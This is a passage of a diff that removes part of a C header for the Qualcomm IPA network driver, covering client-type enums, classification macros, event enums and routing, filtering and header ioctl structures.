-        IPA_CLIENT_ODU_PROD,
-        IPA_CLIENT_MHI_PROD,
-        IPA_CLIENT_Q6_LAN_PROD,
-        IPA_CLIENT_Q6_WAN_PROD,
-        IPA_CLIENT_Q6_CMD_PROD,
-        IPA_CLIENT_MEMCPY_DMA_SYNC_PROD,
-        IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD,
-        IPA_CLIENT_Q6_DECOMP_PROD,
-        IPA_CLIENT_Q6_DECOMP2_PROD,
-        IPA_CLIENT_UC_USB_PROD,
-
-        /* Below PROD client type is only for test purpose */
-        IPA_CLIENT_TEST_PROD,
-        IPA_CLIENT_TEST1_PROD,
-        IPA_CLIENT_TEST2_PROD,
-        IPA_CLIENT_TEST3_PROD,
-        IPA_CLIENT_TEST4_PROD,
-
-        IPA_CLIENT_CONS,
-        IPA_CLIENT_HSIC1_CONS = IPA_CLIENT_CONS,
-        IPA_CLIENT_WLAN1_CONS,
-        IPA_CLIENT_HSIC2_CONS,
-        IPA_CLIENT_USB2_CONS,
-        IPA_CLIENT_WLAN2_CONS,
-        IPA_CLIENT_HSIC3_CONS,
-        IPA_CLIENT_USB3_CONS,
-        IPA_CLIENT_WLAN3_CONS,
-        IPA_CLIENT_HSIC4_CONS,
-        IPA_CLIENT_USB4_CONS,
-        IPA_CLIENT_WLAN4_CONS,
-        IPA_CLIENT_HSIC5_CONS,
-        IPA_CLIENT_USB_CONS,
-        IPA_CLIENT_USB_DPL_CONS,
-        IPA_CLIENT_A2_EMBEDDED_CONS,
-        IPA_CLIENT_A2_TETHERED_CONS,
-        IPA_CLIENT_A5_LAN_WAN_CONS,
-        IPA_CLIENT_APPS_LAN_CONS,
-        IPA_CLIENT_APPS_WAN_CONS,
-        IPA_CLIENT_ODU_EMB_CONS,
-        IPA_CLIENT_ODU_TETH_CONS,
-        IPA_CLIENT_MHI_CONS,
-        IPA_CLIENT_Q6_LAN_CONS,
-        IPA_CLIENT_Q6_WAN_CONS,
-        IPA_CLIENT_Q6_DUN_CONS,
-        IPA_CLIENT_MEMCPY_DMA_SYNC_CONS,
-        IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS,
-        IPA_CLIENT_Q6_DECOMP_CONS,
-        IPA_CLIENT_Q6_DECOMP2_CONS,
-        IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS,
-        /* Below CONS client type is only for test purpose */
-        IPA_CLIENT_TEST_CONS,
-        IPA_CLIENT_TEST1_CONS,
-        IPA_CLIENT_TEST2_CONS,
-        IPA_CLIENT_TEST3_CONS,
-        IPA_CLIENT_TEST4_CONS,
-
-        IPA_CLIENT_MAX,
-};
-
-#define IPA_CLIENT_IS_APPS_CONS(client) \
-        ((client) == IPA_CLIENT_APPS_LAN_CONS || \
-        (client) == IPA_CLIENT_APPS_WAN_CONS)
-
-#define IPA_CLIENT_IS_USB_CONS(client) \
-        ((client) == IPA_CLIENT_USB_CONS || \
-        (client) == IPA_CLIENT_USB2_CONS || \
-        (client) == IPA_CLIENT_USB3_CONS || \
-        (client) == IPA_CLIENT_USB_DPL_CONS || \
-        (client) == IPA_CLIENT_USB4_CONS)
-
-#define IPA_CLIENT_IS_WLAN_CONS(client) \
-        ((client) == IPA_CLIENT_WLAN1_CONS || \
-        (client) == IPA_CLIENT_WLAN2_CONS || \
-        (client) == IPA_CLIENT_WLAN3_CONS || \
-        (client) == IPA_CLIENT_WLAN4_CONS)
-
-#define IPA_CLIENT_IS_ODU_CONS(client) \
-        ((client) == IPA_CLIENT_ODU_EMB_CONS || \
-        (client) == IPA_CLIENT_ODU_TETH_CONS)
-
-#define IPA_CLIENT_IS_Q6_CONS(client) \
-        ((client) == IPA_CLIENT_Q6_LAN_CONS || \
-        (client) == IPA_CLIENT_Q6_WAN_CONS || \
-        (client) == IPA_CLIENT_Q6_DUN_CONS || \
-        (client) == IPA_CLIENT_Q6_DECOMP_CONS || \
-        (client) == IPA_CLIENT_Q6_DECOMP2_CONS || \
-        (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
-
-#define IPA_CLIENT_IS_Q6_PROD(client) \
-        ((client) == IPA_CLIENT_Q6_LAN_PROD || \
-        (client) == IPA_CLIENT_Q6_WAN_PROD || \
-        (client) == IPA_CLIENT_Q6_CMD_PROD || \
-        (client) == IPA_CLIENT_Q6_DECOMP_PROD || \
-        (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
-
-#define IPA_CLIENT_IS_Q6_NON_ZIP_CONS(client) \
-        ((client) == IPA_CLIENT_Q6_LAN_CONS || \
-        (client) == IPA_CLIENT_Q6_WAN_CONS || \
-        (client) == IPA_CLIENT_Q6_DUN_CONS || \
-        (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
-
-#define IPA_CLIENT_IS_Q6_ZIP_CONS(client) \
-        ((client) == IPA_CLIENT_Q6_DECOMP_CONS || \
-        (client) == IPA_CLIENT_Q6_DECOMP2_CONS)
-
-#define IPA_CLIENT_IS_Q6_NON_ZIP_PROD(client) \
-        ((client) == IPA_CLIENT_Q6_LAN_PROD || \
-        (client) == IPA_CLIENT_Q6_WAN_PROD || \
-        (client) == IPA_CLIENT_Q6_CMD_PROD)
-
-#define IPA_CLIENT_IS_Q6_ZIP_PROD(client) \
-        ((client) == IPA_CLIENT_Q6_DECOMP_PROD || \
-        (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
-
-#define IPA_CLIENT_IS_MEMCPY_DMA_CONS(client) \
-        ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_CONS || \
-        (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS)
-
-#define IPA_CLIENT_IS_MEMCPY_DMA_PROD(client) \
-        ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_PROD || \
-        (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD)
-
-#define IPA_CLIENT_IS_MHI_CONS(client) \
-        ((client) == IPA_CLIENT_MHI_CONS)
-
-#define IPA_CLIENT_IS_MHI(client) \
-        ((client) == IPA_CLIENT_MHI_CONS || \
-        (client) == IPA_CLIENT_MHI_PROD)
-
-#define IPA_CLIENT_IS_TEST_PROD(client) \
-        ((client) == IPA_CLIENT_TEST_PROD || \
-        (client) == IPA_CLIENT_TEST1_PROD || \
-        (client) == IPA_CLIENT_TEST2_PROD || \
-        (client) == IPA_CLIENT_TEST3_PROD || \
-        (client) == IPA_CLIENT_TEST4_PROD)
-
-#define IPA_CLIENT_IS_TEST_CONS(client) \
-        ((client) == IPA_CLIENT_TEST_CONS || \
-        (client) == IPA_CLIENT_TEST1_CONS || \
-        (client) == IPA_CLIENT_TEST2_CONS || \
-        (client) == IPA_CLIENT_TEST3_CONS || \
-        (client) == IPA_CLIENT_TEST4_CONS)
-
-#define IPA_CLIENT_IS_TEST(client) \
-        (IPA_CLIENT_IS_TEST_PROD(client) || IPA_CLIENT_IS_TEST_CONS(client))
-
-/**
- * enum ipa_ip_type - Address family: IPv4 or IPv6
- */
-enum ipa_ip_type {
-        IPA_IP_v4,
-        IPA_IP_v6,
-        IPA_IP_MAX
-};
-
-/**
- * enum ipa_rule_type - Type of routing or filtering rule
- * Hashable: Rule will be located at the hashable tables
- * Non_Hashable: Rule will be located at the non-hashable tables
- */
-enum ipa_rule_type {
-        IPA_RULE_HASHABLE,
-        IPA_RULE_NON_HASHABLE,
-        IPA_RULE_TYPE_MAX
-};
-
-/**
- * enum ipa_flt_action - action field of filtering rule
- *
- * Pass to routing: 5'd0
- * Pass to source NAT: 5'd1
- * Pass to destination NAT: 5'd2
- * Pass to default output pipe (e.g., Apps or Modem): 5'd3
- */
-enum ipa_flt_action {
-        IPA_PASS_TO_ROUTING,
-        IPA_PASS_TO_SRC_NAT,
-        IPA_PASS_TO_DST_NAT,
-        IPA_PASS_TO_EXCEPTION
-};
-
-/**
- * enum ipa_wlan_event - Events for wlan client
- *
- * wlan client connect: New wlan client connected
- * wlan client disconnect: wlan client disconnected
- * wlan client power save: wlan client moved to power save
- * wlan client normal: wlan client moved out of power save
- * sw routing enable: ipa routing is disabled
- * sw routing disable: ipa routing is enabled
- * wlan ap connect: wlan AP(access point) is up
- * wlan ap disconnect: wlan AP(access point) is down
- * wlan sta connect: wlan STA(station) is up
- * wlan sta disconnect: wlan STA(station) is down
- * wlan client connect ex: new wlan client connected
- * wlan scc switch: wlan interfaces in scc mode
- * wlan mcc switch: wlan interfaces in mcc mode
- * wlan wdi enable: wdi data path completed
- * wlan wdi disable: wdi data path teardown
- */
-enum ipa_wlan_event {
-        WLAN_CLIENT_CONNECT,
-        WLAN_CLIENT_DISCONNECT,
-        WLAN_CLIENT_POWER_SAVE_MODE,
-        WLAN_CLIENT_NORMAL_MODE,
-        SW_ROUTING_ENABLE,
-        SW_ROUTING_DISABLE,
-        WLAN_AP_CONNECT,
-        WLAN_AP_DISCONNECT,
-        WLAN_STA_CONNECT,
-        WLAN_STA_DISCONNECT,
-        WLAN_CLIENT_CONNECT_EX,
-        WLAN_SWITCH_TO_SCC,
-        WLAN_SWITCH_TO_MCC,
-        WLAN_WDI_ENABLE,
-        WLAN_WDI_DISABLE,
-        IPA_WLAN_EVENT_MAX
-};
-
-/**
- * enum ipa_wan_event - Events for wan client
- *
- * wan default route add/del
- * wan embms connect: New wan embms interface connected
- */
-enum ipa_wan_event {
-        WAN_UPSTREAM_ROUTE_ADD = IPA_WLAN_EVENT_MAX,
-        WAN_UPSTREAM_ROUTE_DEL,
-        WAN_EMBMS_CONNECT,
-        WAN_XLAT_CONNECT,
-        IPA_WAN_EVENT_MAX
-};
-
-enum ipa_ecm_event {
-        ECM_CONNECT = IPA_WAN_EVENT_MAX,
-        ECM_DISCONNECT,
-        IPA_ECM_EVENT_MAX,
-};
-
-enum ipa_tethering_stats_event {
-        IPA_TETHERING_STATS_UPDATE_STATS = IPA_ECM_EVENT_MAX,
-        IPA_TETHERING_STATS_UPDATE_NETWORK_STATS,
-        IPA_TETHERING_STATS_EVENT_MAX,
-        IPA_EVENT_MAX_NUM = IPA_TETHERING_STATS_EVENT_MAX
-};
-
-#define IPA_EVENT_MAX ((int)IPA_EVENT_MAX_NUM)
-
-/**
- * enum ipa_rm_resource_name - IPA RM clients identification names
- *
- * Add new mapping to ipa_rm_prod_index() / ipa_rm_cons_index()
- * when adding new entry to this enum.
- */
-enum ipa_rm_resource_name {
-        IPA_RM_RESOURCE_PROD = 0,
-        IPA_RM_RESOURCE_Q6_PROD = IPA_RM_RESOURCE_PROD,
-        IPA_RM_RESOURCE_USB_PROD,
-        IPA_RM_RESOURCE_USB_DPL_DUMMY_PROD,
-        IPA_RM_RESOURCE_HSIC_PROD,
-        IPA_RM_RESOURCE_STD_ECM_PROD,
-        IPA_RM_RESOURCE_RNDIS_PROD,
-        IPA_RM_RESOURCE_WWAN_0_PROD,
-        IPA_RM_RESOURCE_WLAN_PROD,
-        IPA_RM_RESOURCE_ODU_ADAPT_PROD,
-        IPA_RM_RESOURCE_MHI_PROD,
-        IPA_RM_RESOURCE_PROD_MAX,
-
-        IPA_RM_RESOURCE_Q6_CONS = IPA_RM_RESOURCE_PROD_MAX,
-        IPA_RM_RESOURCE_USB_CONS,
-        IPA_RM_RESOURCE_USB_DPL_CONS,
-        IPA_RM_RESOURCE_HSIC_CONS,
-        IPA_RM_RESOURCE_WLAN_CONS,
-        IPA_RM_RESOURCE_APPS_CONS,
-        IPA_RM_RESOURCE_ODU_ADAPT_CONS,
-        IPA_RM_RESOURCE_MHI_CONS,
-        IPA_RM_RESOURCE_MAX
-};
-
-/**
- * enum ipa_hw_type - IPA hardware version type
- * @IPA_HW_None: IPA hardware version not defined
- * @IPA_HW_v1_0: IPA hardware version 1.0
- * @IPA_HW_v1_1: IPA hardware version 1.1
- * @IPA_HW_v2_0: IPA hardware version 2.0
- * @IPA_HW_v2_1: IPA hardware version 2.1
- * @IPA_HW_v2_5: IPA hardware version 2.5
- * @IPA_HW_v2_6: IPA hardware version 2.6
- * @IPA_HW_v2_6L: IPA hardware version 2.6L
- * @IPA_HW_v3_0: IPA hardware version 3.0
- */
-enum ipa_hw_type {
-        IPA_HW_None = 0,
-        IPA_HW_v1_0 = 1,
-        IPA_HW_v1_1 = 2,
-        IPA_HW_v2_0 = 3,
-        IPA_HW_v2_1 = 4,
-        IPA_HW_v2_5 = 5,
-        IPA_HW_v2_6 = IPA_HW_v2_5,
-        IPA_HW_v2_6L = 6,
-        IPA_HW_v3_0 = 10,
-        IPA_HW_v3_1 = 11,
-        IPA_HW_MAX
-};
-
-/**
- * struct ipa_rule_attrib - attributes of a routing/filtering
- * rule, all in LE
- * @attrib_mask: what attributes are valid
- * @src_port_lo: low port of src port range
- * @src_port_hi: high port of src port range
- * @dst_port_lo: low port of dst port range
- * @dst_port_hi: high port of dst port range
- * @type: ICMP/IGMP type
- * @code: ICMP/IGMP code
- * @spi: IPSec SPI
- * @src_port: exact src port
- * @dst_port: exact dst port
- * @meta_data: meta-data val
- * @meta_data_mask: meta-data mask
- * @u.v4.tos: type of service
- * @u.v4.protocol: protocol
- * @u.v4.src_addr: src address value
- * @u.v4.src_addr_mask: src address mask
- * @u.v4.dst_addr: dst address value
- * @u.v4.dst_addr_mask: dst address mask
- * @u.v6.tc: traffic class
- * @u.v6.flow_label: flow label
- * @u.v6.next_hdr: next header
- * @u.v6.src_addr: src address val
- * @u.v6.src_addr_mask: src address mask
- * @u.v6.dst_addr: dst address val
- * @u.v6.dst_addr_mask: dst address mask
- */
-struct ipa_rule_attrib {
-        uint32_t attrib_mask;
-        uint16_t src_port_lo;
-        uint16_t src_port_hi;
-        uint16_t dst_port_lo;
-        uint16_t dst_port_hi;
-        uint8_t type;
-        uint8_t code;
-        uint8_t tos_value;
-        uint8_t tos_mask;
-        uint32_t spi;
-        uint16_t src_port;
-        uint16_t dst_port;
-        uint32_t meta_data;
-        uint32_t meta_data_mask;
-        uint8_t src_mac_addr[ETH_ALEN];
-        uint8_t src_mac_addr_mask[ETH_ALEN];
-        uint8_t dst_mac_addr[ETH_ALEN];
-        uint8_t dst_mac_addr_mask[ETH_ALEN];
-        uint16_t ether_type;
-        union {
-                struct {
-                        uint8_t tos;
-                        uint8_t protocol;
-                        uint32_t src_addr;
-                        uint32_t src_addr_mask;
-                        uint32_t dst_addr;
-                        uint32_t dst_addr_mask;
-                } v4;
-                struct {
-                        uint8_t tc;
-                        uint32_t flow_label;
-                        uint8_t next_hdr;
-                        uint32_t src_addr[4];
-                        uint32_t src_addr_mask[4];
-                        uint32_t dst_addr[4];
-                        uint32_t dst_addr_mask[4];
-                } v6;
-        } u;
-};
-
-/*! @brief The maximum number of Mask Equal 32 Eqns */
-#define IPA_IPFLTR_NUM_MEQ_32_EQNS 2
-
-/*! @brief The maximum number of IHL offset Mask Equal 32 Eqns */
-#define IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS 2
-
-/*! @brief The maximum number of Mask Equal 128 Eqns */
-#define IPA_IPFLTR_NUM_MEQ_128_EQNS 2
-
-/*! @brief The maximum number of IHL offset Range Check 16 Eqns */
-#define IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS 2
-
-/*! @brief Offset and 16 bit comparison equation */
-struct ipa_ipfltr_eq_16 {
-        int8_t offset;
-        uint16_t value;
-};
-
-/*! @brief Offset and 32 bit comparison equation */
-struct ipa_ipfltr_eq_32 {
-        int8_t offset;
-        uint32_t value;
-};
-
-/*! @brief Offset and 128 bit masked comparison equation */
-struct ipa_ipfltr_mask_eq_128 {
-        int8_t offset;
-        uint8_t mask[16];
-        uint8_t value[16];
-};
-
-/*! @brief Offset and 32 bit masked comparison equation */
-struct ipa_ipfltr_mask_eq_32 {
-        int8_t offset;
-        uint32_t mask;
-        uint32_t value;
-};
-
-/*! @brief Equation for identifying a range. Ranges are inclusive */
-struct ipa_ipfltr_range_eq_16 {
-        int8_t offset;
-        uint16_t range_low;
-        uint16_t range_high;
-};
-
-/*! @brief Rule equations which are set according to DS filter installation */
-struct ipa_ipfltri_rule_eq {
-        /*! 16-bit Bitmask to indicate how many eqs are valid in this rule  */
-        uint16_t rule_eq_bitmap;
-        /*! Specifies if a type of service check rule is present */
-        uint8_t tos_eq_present;
-        /*! The value to check against the type of service (ipv4) field */
-        uint8_t tos_eq;
-        /*! Specifies if a protocol check rule is present */
-        uint8_t protocol_eq_present;
-        /*! The value to check against the protocol (ipv6) field */
-        uint8_t protocol_eq;
-        /*! The number of ip header length offset 16 bit range check
-         * rules in this rule */
-        uint8_t num_ihl_offset_range_16;
-        /*! An array of the registered ip header length offset 16 bit
-         * range check rules */
-        struct ipa_ipfltr_range_eq_16
-                ihl_offset_range_16[IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS];
-        /*! The number of mask equal 32 rules present in this rule */
-        uint8_t num_offset_meq_32;
-        /*! An array of all the possible mask equal 32 rules in this rule */
-        struct ipa_ipfltr_mask_eq_32
-                offset_meq_32[IPA_IPFLTR_NUM_MEQ_32_EQNS];
-        /*! Specifies if the traffic class rule is present in this rule */
-        uint8_t tc_eq_present;
-        /*! The value to check the traffic class (ipv4) field against */
-        uint8_t tc_eq;
-        /*! Specifies if the flow equals rule is present in this rule */
-        uint8_t fl_eq_present;
-        /*! The value to check the flow (ipv6) field against */
-        uint32_t fl_eq;
-        /*! The number of ip header length offset 16 bit equations in this
-         * rule */
-        uint8_t ihl_offset_eq_16_present;
-        /*! The ip header length offset 16 bit equation */
-        struct ipa_ipfltr_eq_16 ihl_offset_eq_16;
-        /*! The number of ip header length offset 32 bit equations in this
-         * rule */
-        uint8_t ihl_offset_eq_32_present;
-        /*! The ip header length offset 32 bit equation */
-        struct ipa_ipfltr_eq_32 ihl_offset_eq_32;
-        /*! The number of ip header length offset 32 bit mask equations in
-         * this rule */
-        uint8_t num_ihl_offset_meq_32;
-        /*! The ip header length offset 32 bit mask equation */
-        struct ipa_ipfltr_mask_eq_32
-                ihl_offset_meq_32[IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS];
-        /*! The number of ip header length offset 128 bit equations in this
-         * rule */
-        uint8_t num_offset_meq_128;
-        /*! The ip header length offset 128 bit equation */
-        struct ipa_ipfltr_mask_eq_128
-                offset_meq_128[IPA_IPFLTR_NUM_MEQ_128_EQNS];
-        /*! The metadata 32 bit masked comparison equation present or not */
-        /* Metadata based rules are added internally by IPA driver */
-        uint8_t metadata_meq32_present;
-        /*! The metadata 32 bit masked comparison equation */
-        struct ipa_ipfltr_mask_eq_32 metadata_meq32;
-        /*! Specifies if the Fragment equation is present in this rule */
-        uint8_t ipv4_frag_eq_present;
-};
-
-/**
- * struct ipa_flt_rule - attributes of a filtering rule
- * @retain_hdr: bool switch to instruct IPA core to add back to the packet
- *  the header removed as part of header removal
- * @to_uc: bool switch to pass packet to micro-controller
- * @action: action field
- * @rt_tbl_hdl: handle of table from "get"
- * @attrib: attributes of the rule
- * @eq_attrib: attributes of the rule in equation form (valid when
- * eq_attrib_type is true)
- * @rt_tbl_idx: index of RT table referred to by filter rule (valid when
- * eq_attrib_type is true and non-exception action)
- * @eq_attrib_type: true if equation level form used to specify attributes
- * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
- *  IPA will use the rule and will not look for other rules that may have
- *  higher priority
- * @hashable: bool switch. is this rule hashable or not?
- *  ipa uses hashable rules to cache their hit results to be used in
- *  consecutive packets
- * @rule_id: rule_id to be assigned to the filter rule. In case client specifies
- *  rule_id as 0 the driver will assign a new rule_id
- */
-struct ipa_flt_rule {
-        uint8_t retain_hdr;
-        uint8_t to_uc;
-        enum ipa_flt_action action;
-        uint32_t rt_tbl_hdl;
-        struct ipa_rule_attrib attrib;
-        struct ipa_ipfltri_rule_eq eq_attrib;
-        uint32_t rt_tbl_idx;
-        uint8_t eq_attrib_type;
-        uint8_t max_prio;
-        uint8_t hashable;
-        uint16_t rule_id;
-};
-
-/**
- * enum ipa_hdr_l2_type - L2 header type
- * IPA_HDR_L2_NONE: L2 header which isn't Ethernet II and isn't 802_3
- * IPA_HDR_L2_ETHERNET_II: L2 header of type Ethernet II
- * IPA_HDR_L2_802_3: L2 header of type 802_3
- */
-enum ipa_hdr_l2_type {
-        IPA_HDR_L2_NONE,
-        IPA_HDR_L2_ETHERNET_II,
-        IPA_HDR_L2_802_3,
-        IPA_HDR_L2_MAX,
-};
-
-/**
- * enum ipa_hdr_l2_type - Processing context type
- * IPA_HDR_PROC_NONE: No processing context
- * IPA_HDR_PROC_ETHII_TO_ETHII: Process Ethernet II to Ethernet II
- * IPA_HDR_PROC_ETHII_TO_802_3: Process Ethernet II to 802_3
- * IPA_HDR_PROC_802_3_TO_ETHII: Process 802_3 to Ethernet II
- * IPA_HDR_PROC_802_3_TO_802_3: Process 802_3 to 802_3
- */
-enum ipa_hdr_proc_type {
-        IPA_HDR_PROC_NONE,
-        IPA_HDR_PROC_ETHII_TO_ETHII,
-        IPA_HDR_PROC_ETHII_TO_802_3,
-        IPA_HDR_PROC_802_3_TO_ETHII,
-        IPA_HDR_PROC_802_3_TO_802_3,
-        IPA_HDR_PROC_MAX,
-};
-
-/**
- * struct ipa_rt_rule - attributes of a routing rule
- * @dst: dst "client"
- * @hdr_hdl: handle to the dynamic header
-        it is not an index or an offset
- * @hdr_proc_ctx_hdl: handle to header processing context. if it is provided
-        hdr_hdl shall be 0
- * @attrib: attributes of the rule
- * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
- *  IPA will use the rule and will not look for other rules that may have
- *  higher priority
- * @hashable: bool switch. is this rule hashable or not?
- *  ipa uses hashable rules to cache their hit results to be used in
- *  consecutive packets
- * @retain_hdr: bool switch to instruct IPA core to add back to the packet
- *  the header removed as part of header removal
- */
-struct ipa_rt_rule {
-        enum ipa_client_type dst;
-        uint32_t hdr_hdl;
-        uint32_t hdr_proc_ctx_hdl;
-        struct ipa_rule_attrib attrib;
-        uint8_t max_prio;
-        uint8_t hashable;
-        uint8_t retain_hdr;
-};
-
-/**
- * struct ipa_hdr_add - header descriptor includes in and out
- * parameters
- * @name: name of the header
- * @hdr: actual header to be inserted
- * @hdr_len: size of above header
- * @type: l2 header type
- * @is_partial: header not fully specified
- * @hdr_hdl: out parameter, handle to header, valid when status is 0
- * @status:        out parameter, status of header add operation,
- *                0 for success,
- *                -1 for failure
- * @is_eth2_ofst_valid: is eth2_ofst field valid?
- * @eth2_ofst: offset to start of Ethernet-II/802.3 header
- */
-struct ipa_hdr_add {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint8_t hdr[IPA_HDR_MAX_SIZE];
-        uint8_t hdr_len;
-        enum ipa_hdr_l2_type type;
-        uint8_t is_partial;
-        uint32_t hdr_hdl;
-        int status;
-        uint8_t is_eth2_ofst_valid;
-        uint16_t eth2_ofst;
-};
-
-/**
- * struct ipa_ioc_add_hdr - header addition parameters (support
- * multiple headers and commit)
- * @commit: should headers be written to IPA HW also?
- * @num_hdrs: num of headers that follow
- * @ipa_hdr_add hdr:        all headers need to go here back to
- *                        back, no pointers
- */
-struct ipa_ioc_add_hdr {
-        uint8_t commit;
-        uint8_t num_hdrs;
-        struct ipa_hdr_add hdr[0];
-};
-
-/**
- * struct ipa_hdr_proc_ctx_add - processing context descriptor includes
- * in and out parameters
- * @type: processing context type
- * @hdr_hdl: in parameter, handle to header
- * @proc_ctx_hdl: out parameter, handle to proc_ctx, valid when status is 0
- * @status:        out parameter, status of header add operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_hdr_proc_ctx_add {
-        enum ipa_hdr_proc_type type;
-        uint32_t hdr_hdl;
-        uint32_t proc_ctx_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_add_hdr - processing context addition parameters (support
- * multiple processing context and commit)
- * @commit: should processing context be written to IPA HW also?
- * @num_proc_ctxs: num of processing context that follow
- * @proc_ctx:        all processing context need to go here back to
- *                        back, no pointers
- */
-struct ipa_ioc_add_hdr_proc_ctx {
-        uint8_t commit;
-        uint8_t num_proc_ctxs;
-        struct ipa_hdr_proc_ctx_add proc_ctx[0];
-};
-
-/**
- * struct ipa_ioc_copy_hdr - retrieve a copy of the specified
- * header - caller can then derive the complete header
- * @name: name of the header resource
- * @hdr:        out parameter, contents of specified header,
- *        valid only when ioctl return val is non-negative
- * @hdr_len: out parameter, size of above header
- *        valid only when ioctl return val is non-negative
- * @type: l2 header type
- *        valid only when ioctl return val is non-negative
- * @is_partial:        out parameter, indicates whether specified header is partial
- *                valid only when ioctl return val is non-negative
- * @is_eth2_ofst_valid: is eth2_ofst field valid?
- * @eth2_ofst: offset to start of Ethernet-II/802.3 header
- */
-struct ipa_ioc_copy_hdr {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint8_t hdr[IPA_HDR_MAX_SIZE];
-        uint8_t hdr_len;
-        enum ipa_hdr_l2_type type;
-        uint8_t is_partial;
-        uint8_t is_eth2_ofst_valid;
-        uint16_t eth2_ofst;
-};
-
-/**
- * struct ipa_ioc_get_hdr - header entry lookup parameters, if lookup was
- * successful caller must call put to release the reference count when done
- * @name: name of the header resource
- * @hdl:        out parameter, handle of header entry
- *                valid only when ioctl return val is non-negative
- */
-struct ipa_ioc_get_hdr {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t hdl;
-};
-
-/**
- * struct ipa_hdr_del - header descriptor includes in and out
- * parameters
- *
- * @hdl: handle returned from header add operation
- * @status:        out parameter, status of header remove operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_hdr_del {
-        uint32_t hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_del_hdr - header deletion parameters (support
- * multiple headers and commit)
- * @commit: should headers be removed from IPA HW also?
- * @num_hdls: num of headers being removed
- * @ipa_hdr_del hdl: all handles need to go here back to back, no pointers
- */
-struct ipa_ioc_del_hdr {
-        uint8_t commit;
-        uint8_t num_hdls;
-        struct ipa_hdr_del hdl[0];
-};
-
-/**
- * struct ipa_hdr_proc_ctx_del - processing context descriptor includes
- * in and out parameters
- * @hdl: handle returned from processing context add operation
- * @status:        out parameter, status of header remove operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_hdr_proc_ctx_del {
-        uint32_t hdl;
-        int status;
-};
-
-/**
- * ipa_ioc_del_hdr_proc_ctx - processing context deletion parameters (support
- * multiple headers and commit)
- * @commit: should processing contexts be removed from IPA HW also?
- * @num_hdls: num of processing contexts being removed
- * @ipa_hdr_proc_ctx_del hdl:        all handles need to go here back to back,
-  *                                no pointers
- */
-struct ipa_ioc_del_hdr_proc_ctx {
-        uint8_t commit;
-        uint8_t num_hdls;
-        struct ipa_hdr_proc_ctx_del hdl[0];
-};
-
-/**
- * struct ipa_rt_rule_add - routing rule descriptor includes in
- * and out parameters
- * @rule: actual rule to be added
- * @at_rear:        add at back of routing table, it is NOT possible to add rules at
- *                the rear of the "default" routing tables
- * @rt_rule_hdl: output parameter, handle to rule, valid when status is 0
- * @status:        output parameter, status of routing rule add operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_rt_rule_add {
-        struct ipa_rt_rule rule;
-        uint8_t at_rear;
-        uint32_t rt_rule_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_add_rt_rule - routing rule addition parameters (supports
- * multiple rules and commit);
- *
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @rt_tbl_name: name of routing table resource
- * @num_rules: number of routing rules that follow
- * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_add_rt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
-        uint8_t num_rules;
-        struct ipa_rt_rule_add rules[0];
-};
-
-/**
- * struct ipa_ioc_add_rt_rule_after - routing rule addition after a specific
- * rule parameters(supports multiple rules and commit);
- *
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @rt_tbl_name: name of routing table resource
- * @num_rules: number of routing rules that follow
- * @add_after_hdl: the rules will be added after this specific rule
- * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
- *                           at_rear field will be ignored when using this IOCTL
- */
-struct ipa_ioc_add_rt_rule_after {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
-        uint8_t num_rules;
-        uint32_t add_after_hdl;
-        struct ipa_rt_rule_add rules[0];
-};
-
-/**
- * struct ipa_rt_rule_mdfy - routing rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @rt_rule_hdl: handle to rule which supposed to modify
- * @status:        output parameter, status of routing rule modify  operation,
- *                0 for success,
- *                -1 for failure
- *
- */
-struct ipa_rt_rule_mdfy {
-        struct ipa_rt_rule rule;
-        uint32_t rt_rule_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_mdfy_rt_rule - routing rule modify parameters (supports
- * multiple rules and commit)
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @num_rules: number of routing rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_mdfy_rt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        uint8_t num_rules;
-        struct ipa_rt_rule_mdfy rules[0];
-};
-
-/**
- * struct ipa_rt_rule_del - routing rule descriptor includes in
- * and out parameters
- * @hdl: handle returned from route rule add operation
- * @status:        output parameter, status of route rule delete operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_rt_rule_del {
-        uint32_t hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_del_rt_rule - routing rule deletion parameters (supports
- * multiple headers and commit)
- * @commit: should rules be removed from IPA HW also?
- * @ip: IP family of rules
- * @num_hdls: num of rules being removed
